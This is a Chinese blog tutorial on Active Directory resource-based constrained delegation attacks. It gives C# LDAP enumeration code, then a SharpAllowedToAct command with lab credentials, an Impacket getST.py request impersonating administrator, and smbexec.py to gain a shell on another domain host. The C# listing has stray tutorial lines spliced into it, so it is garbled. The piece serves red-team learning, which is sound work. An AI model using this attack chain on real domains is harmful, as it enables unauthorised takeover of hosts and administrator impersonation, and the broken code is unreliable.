• 域渗透之基于资源的约束委派


    域渗透之基于资源的约束委派

    注意:server2012才引入了基于资源的约束委派!!! 无需域管设置相关属性,请求ST的过程与先前的约束委派类似,传统的约束委派S4U2Self返回的票据一定是 可转发的,如果不可转发那么S4U2Proxy将失败;但是基于资源的约束委派不同,就算S4U2Self返回的票据 不可转发(可不可以转发由TrustedToAuthenticationForDelegation决定),S4U2Proxy也是可以成 功,并且S4U2Proxy返回的票据总是可转发 总之需要用户对主机的属性具备写权限

    基于资源的约束委派原理

    基于资源的约束委派(RBCD)是在Windows Server 2012中新加入的功能,与传统的约束委派相比,它不 再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定 谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置msDSAllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。 这里的关键就是谁可以修改属性

    REDTEAM\hack -> WriteProperty(将机器加入域的账号,也就是mS-DS-CreatorSID属性中的账户) NT AUTHORITY\SELF -> WriteProperty(机器账户自身也可以修改) 我们再回顾一个知识点,默认域控的ms-DS-MachineAccountQuota属性设置允许所有域用户向一个域添加 多达10个计算机帐户,就是说只要有一个域凭据就可以在域内任意添加机器账户。这个凭据可以是域内的用户 账户、服务账户、机器账户。

    域环境

    域管:dc1 10.10.10.142

    备用域管:dc2 10.10.10.140

    域用户1:12server1 10.10.10.152

    域用户2: 12server2 10.10.10.138

    资源委派攻击其他域主机获取system权限创建机器主机账号

    首先查询域普通用户加入域的机子

    cs代码:

    ![1](C:\Users\lenovo\Desktop\1.png)using System;
    using System.Security.Principal;
    using System.DirectoryServices;
    namespace ConsoleApp9
    {
    class Program
    {
    static void Main(string[] args)
    {
    DirectoryEntry ldap_conn = new
    DirectoryEntry("LDAP://dc=redteam,dc=club");
    DirectorySearcher search = new DirectorySearcher(ldap_conn);
    String query = "(&(objectClass=computer))";//查找计算机
    search.Filter = query;
    foreach (SearchResult r in search.FindAll())
    {
    String mS_DS_CreatorSID = "";
    String computername = "";
    try
    {
    computername = r.Properties["dNSHostName"][0].ToString();
    mS_DS_CreatorSID = (new
    SecurityIdentifier((byte[])r.Properties["mS-DS-CreatorSID"][0], 0)).ToString();
    //Console.WriteLine("{0} {1}\n", computername,
    mS_DS_CreatorSID);
    }
    catch
    {
    ;
    }
    //再通过sid找用户名
    String UserQuery = "(&(objectClass=user))";
    DirectorySearcher search2 = new DirectorySearcher(ldap_conn);
    查询到加入域主机的 域用户
    使用SharpAllowedToAct修改委派 工具下载 https://github.com/HPVCA/SharpAllowedToAct
    获取服务票据
    search2.Filter = UserQuery;
    foreach (SearchResult u in search2.FindAll())
    {
    String user_sid = (new
    SecurityIdentifier((byte[])u.Properties["objectSid"][0], 0)).ToString();
    if (user_sid == mS_DS_CreatorSID)
    {
    //Console.WriteLine("debug");
    String username = u.Properties["name"][0].ToString();
    Console.WriteLine("[*] [{0}] -> creator [{1}]",
    computername, username);
    }
    }
    }
    }
    }
    }

    编译代码生成exe

    .\csc /out:D:\ConsoleApp9.exe "C:\Users\lenovo\Desktop\ConsoleApp9.cs"

    查询到加入域主机的 域用户

     

    使用SharpAllowedToAct修改委派 工具下载

    GitHub - HPVCA/SharpAllowedToAct: Computer object takeover through Resource-Based Constrained Delegation (msDS-AllowedToActOnBehalfOfOtherIdentity)

    SharpAllowedToAct.exe -m hack -p pass@123 -t 12server2 -a 10.10.10.142
    redteam.club

     

    修改kali配置文件

     

    获取服务票据

    python3 getST.py -dc-ip 10.10.10.142 redteam/hack\$:pass@123 -spn
    cifs/12server2.redteam.club -impersonate administrator

     

     

    获取域普通主机权限

    export KRB5CCNAME=administrator.ccache
    python3 smbexec.py -no-pass -k 12server2.redteam.club

     You complete me

  • 相关阅读:
    漫谈信息模型(1)
    第4集丨做一个内心强大的人
    Acwing 835. Trie字符串统计
    蘑菇街API 获取商品详情 Onebound全球电商数据接口
    express session JWT JSON Web Token
    【电源专题】什么是AC/DC转换器
    ERROR [internal] load metadata for docker.io/library/node:20-alpine
    网站内的采集的外链该怎么进行本地化处理
    2000-2020年全国各省财政收支分类明细数据
    golang 上传图片 --chatGPT
  • 原文地址:https://blog.csdn.net/qq_56426046/article/details/127858982